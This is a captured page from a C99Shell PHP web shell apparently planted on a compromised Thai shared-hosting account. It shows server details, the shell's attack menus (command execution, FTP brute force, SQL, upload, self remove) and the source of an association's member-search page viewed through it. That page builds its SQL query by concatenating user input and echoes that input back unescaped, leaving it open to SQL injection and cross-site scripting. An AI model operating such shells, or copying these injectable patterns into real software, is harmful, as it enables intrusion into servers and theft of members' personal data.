!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/mophlawyer.com/   drwxr-x---
Free 237.15 GB of 981.82 GB (24.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     membermoph.php (15.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

<?php include('moph_admin/includes/db.php');
$strKeyword null;

if(isset(
$_POST["txtKeyword"]))
{
    
$strKeyword $_POST["txtKeyword"];
}
 
?>
<!DOCTYPE html>
<html lang="en">
    <head>
      <!--=====================================
                    META TAG PART START
        =======================================-->
        <!-- REQUIRE META -->
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

        <!-- AUTHOR META -->
        <meta name="author" content="coopshop2565">
        <meta name="email" content="Coopshop2566@gmail.com">
        <meta name="profile" content="https://www.facebook.com/profile.php?id=100076935348305&mibextid=JRoKGi">

        <!-- TEMPLATE META -->
        <meta name="name" content="สมาคมแม่บ้านสาธารณสุข">
        <meta name="title" content="สมาคมแม่บ้านสาธารณสุข">
        <meta name="keywords" content="สินค้าเกษตร,สมาคมแม่บ้านสาธารณสุข,ข้าวหอมมะลิ,ข้าวใหม่,ข้าวเหนียว,ข้าวไรซ์เบอรี่,ข้าวกล้อง,ข้าวเหนียวปลาตะเพียน,ข้าวขาวคัดพิเศษ,ข้าวเพชรบูรณ์">
        <!--=====================================
                    META-TAG PART END
        =======================================-->

        <!-- WEBPAGE TITLE -->
        <title>สมาคมแม่บ้านสาธารณสุข - Coopshop2565</title>

        <!--=====================================
                    CSS LINK PART START
        =======================================-->
<style>
@media screen {
  #printSection {
      display: none;
  }
}

@media print {
  body * {
    visibility:hidden;
  }
  #printSection, #printSection * {
    visibility:visible;
  }
  #printSection {
    position:absolute;
    left:0;
    top:0;
  }
}
</style>
<script>
document.getElementById("btnPrint").onclick = function () {
    printElement(document.getElementById("printThis"));
}

function printElement(elem) {
    var domClone = elem.cloneNode(true);
    
    var $printSection = document.getElementById("printSection");
    
    if (!$printSection) {
        var $printSection = document.createElement("div");
        $printSection.id = "printSection";
        document.body.appendChild($printSection);
    }
    
    $printSection.innerHTML = "";
    $printSection.appendChild(domClone);
    window.print();
}

</script>
        <!-- FAVICON -->
        <link rel="icon" href="images/favicon2.png">

        <!-- FONTS -->
        <link rel="stylesheet" href="fonts/flaticon/flaticon.css">
        <link rel="stylesheet" href="fonts/icofont/icofont.min.css">
        <link rel="stylesheet" href="fonts/fontawesome/fontawesome.min.css">

        <!-- VENDOR -->
        <link rel="stylesheet" href="vendor/venobox/venobox.min.css">
        <link rel="stylesheet" href="vendor/slickslider/slick.min.css">
        <link rel="stylesheet" href="vendor/niceselect/nice-select.min.css">
        <link rel="stylesheet" href="vendor/bootstrap/bootstrap.min.css">

        <!-- CUSTOM -->
        <link rel="stylesheet" href="css/main.css">
        <link rel="stylesheet" href="css/wishlist.css">
        <link rel="stylesheet" href="css/brand-single.css">
        <link rel="stylesheet" href="css/user-auth.css">
        <!--=====================================
                    CSS LINK PART END
        =======================================-->
        <link rel="preconnect" href="https://fonts.googleapis.com">
        <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
        <link href="https://fonts.googleapis.com/css2?family=Prompt:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap" rel="stylesheet">

        <style>
        body{

            
            font-family: "Prompt", sans-serif;
            font-weight: 400;
            font-style: normal;
            }
        </style>  

    </head>
    <body style="background: url(images/bg.jpg) no-repeat center fixed;" >
        <div class="backdrop"></div>
        <a class="backtop fas fa-arrow-up" href="#"></a>
        
        <?php include('includes/header.php'); ?>


       <!--=====================================
                    BANNER PART START
        =======================================-->
        <section class="single-banner" style="background: url(images/banner-bg.jpg) no-repeat center;">
            <div class="container">
                
                <ol class="breadcrumb">
                  
                    
                </ol>
            </div>
        </section>
        <!--=====================================
                    BANNER PART END
        =======================================-->
        <!--=====================================
                  BRAND SINGLE PART START
        =======================================-->
        <div class="brand-single">
            <a href="#"><img src="images/logopng.jpg" alt="สมาคมแม่บ้านสาธารณสุข"></a>
            
            
        </div>
        <!--=====================================
                  BRAND SINGLE PART END
        =======================================-->

        <div class="container">
                <div class="header-content">
                    

                    
                    

                    <form class="header-form" name="frmSearch" method="post" action="<?php echo $_SERVER['SCRIPT_NAME'];?>">
                        <input name="txtKeyword"  id="txtKeyword" type="text" placeholder="ค้นหา สมาชิก หรือ จังหวัด..." value="<?php echo $strKeyword;?>">
                        
                        <button><i class="fas fa-search"></i></button>
                    </form>

                    
                </div>
            </div>
        <section class="inner-section wishlist-part">
            <div class="container">
                <div class="row">
                    <div class="col-lg-12">
                        <div class="table-scroll ">
                            <table class="table-list product-card">
                                <thead>
                                    <tr>
                                        <th scope="col">ลำดับที่</th>
                                        <th scope="col">รูปภาพ</th>
                                        <th scope="col">เลขที่สมาชิก</th>
                                        <th scope="col">ชื่อ-นามสกุล</th>
                                        
                                        <th scope="col">จังหวัด</th>
                                        <th scope="col">เขต</th>
                                        <th scope="col">ตำแหน่งสมาชิก</th>
                                        <th scope="col">บัตรสมาชิก</th>
                                    </tr>
                                </thead>
                                <tbody>
                                <?php 
                              $i
='0';
                              if(
$strKeyword=='') {
                              
$result    =    $conn->prepare("SELECT * FROM import  limit 100 ");
                              }else{
                                
$result    =    $conn->prepare("SELECT * FROM import WHERE v_name LIKE '%".$strKeyword."%' OR v_province LIKE '%".$strKeyword."%' ");  
                              }
                                    
$result->execute();

                                        while(
$val  =   $result->fetch())
                                {  
                                    
$i$i+1;
                                  
?>        
                                    <tr>
                                        <td class="table-serial"><h6><?php echo $i?></h6></td>
                                        <td class="table-image"><img src="images/avatar.jpg" alt="สมาชิกสมาคมแม่บ้านสาธารณสุข"></td>
                                        <td class="table-seriale"><h6><?php echo $val['v_number'?></h6></td>
                                        <td class="table-name"><h6><?php echo $val['v_name']; ?>  </h6></td>
                                        
                                        <td class="table-desc"><H6>จังหวัด <?php echo $val['v_province']; ?></p></td>
                                        <td class="table-status"><h6><?php echo $val['v_ket'?></h6></td>
                                        <td class="table-status"><h6><?php echo $val['v_position']; ?></h6></td>
                                        <td class="table-shop">
                                        <div class="form-button">
                                        <button data-bs-toggle="modal" data-bs-target="#product-view<?php echo $val['id']; ?>">บัตรสมาชิก</button>
                                        
                                    </div>
                                        </td>
                                        
                                    </tr>

                                    <!--=====================================
                    PRODUCT VIEW START
        =======================================-->
        <div id="printThis">
        <div class="modal fade" id="product-view<?php echo $val['id']; ?>" aria-hidden="true">
            <div class="modal-dialog"> 
                <div class="modal-content">
                    <button class="modal-close icofont-close" data-bs-dismiss="modal"></button>
                    <div class="product-view">
                        <div class="row">
                           
                            <div class="col-md-12 col-lg-12" style="background: url(images/membercard-bg.jpg)">
                                <div class="view-details">
                                
                                <br>
                                <h2 style="margin-left:200px">บัตรสมาชิกสมาคมแม่บ้านสาธารณสุข</h2>
                                <h2 style="margin-left:300px">HEMLA MEMBER CARD</h2>
       
                                    <H3 class="view-list-group" style="margin-left:200px">
                                        <label class="view-list-title">ชื่อ-สกุล:</label>
                                        <ul class="view-tag-list">
                                            <li><H3><?php echo $val['v_name']; ?></H3></li>
                                           
                                        </ul>
                                    </H3>
                                    
                                    <H3 class="view-list-group" style="margin-left:200px">
                                        <label class="view-list-title">เลขที่สมาชิก:</label>
                                        <ul class="view-tag-list">
                                            <li><H3><?php echo $val['v_number'?></H3></li>
                                           
                                        </ul>
                                    </H3>
                                    <H3 class="view-list-group" style="margin-left:200px">
                                        <label class="view-list-title">หน่วยงาน:</label>
                                        <ul class="view-tag-list">
                                            <li><H3><?php echo $val['v_section']; ?></H3></li>
                                           
                                        </ul>
                                    </H3>
                                    <H3 class="view-list-group" style="margin-left:200px">
                                        <label class="view-list-title">จังหวัด:</label>
                                        <ul class="view-tag-list">
                                            <li><H3><?php echo $val['v_amphur']; ?></H3></li>
                                           
                                        </ul>
                                    </H3>
                                    <H3 class="view-list-group" style="margin-left:200px">
                                        <label class="view-list-title">ตลอดชีพ</label>
                                    </H3>
                                    <button id="cmd"> PDF</button>
                        
                                    <img src="images/sign-boss.png" width="76px" style="margin-left:410px">
                                <h3 style="margin-left:310px">(นางสุภาพร  การย์กวินพงศ์)</h3>
                                <h3 style="margin-left:300px">นายกสมาคมแม่บ้านสาธารณสุข</h3>
                              <!-- Modal Footer -->
      
       
      <button id="btnPrint" type="button" class="btn btn-default">Print</button>
       
                                </div>
                            </div>
                        </div>
                    </div>
                </div> 
            </div> 
        </div>
    </div>
        <!--=====================================
                    PRODUCT VIEW END
        =======================================-->
                                    <?php ?> 
                                </tbody>
                            </table>
                        </div>
                    </div>
                </div>
                
            </div>
        </section>

        


        <!--=====================================
                     FOOTER PART START
        =======================================-->

        <?php include ('includes/footer.php'); ?>
        
        <!--=====================================
                     FOOTER PART END
        =======================================-->

        <!--=====================================
                    JS LINK PART START
        =======================================-->
        <!-- VENDOR -->
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jspdf/1.3.2/jspdf.min.js"></script>
        <script src="vendor/bootstrap/jquery-1.12.4.min.js"></script>
        <script src="vendor/bootstrap/popper.min.js"></script>
        <script src="vendor/bootstrap/bootstrap.min.js"></script>
        <script src="vendor/countdown/countdown.min.js"></script>
        <script src="vendor/niceselect/nice-select.min.js"></script>
        <script src="vendor/slickslider/slick.min.js"></script>
        <script src="vendor/venobox/venobox.min.js"></script>

        <!-- CUSTOM -->
        <script src="js/nice-select.js"></script>
        <script src="js/countdown.js"></script>
        <script src="js/accordion.js"></script>
        <script src="js/venobox.js"></script>
        <script src="js/slick.js"></script>
        <script src="js/main.js"></script> 
        <!--=====================================
                    JS LINK PART END
        =======================================-->
        <script src="js/print.js"></script> 
    </body>
</html>







:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.1573 ]--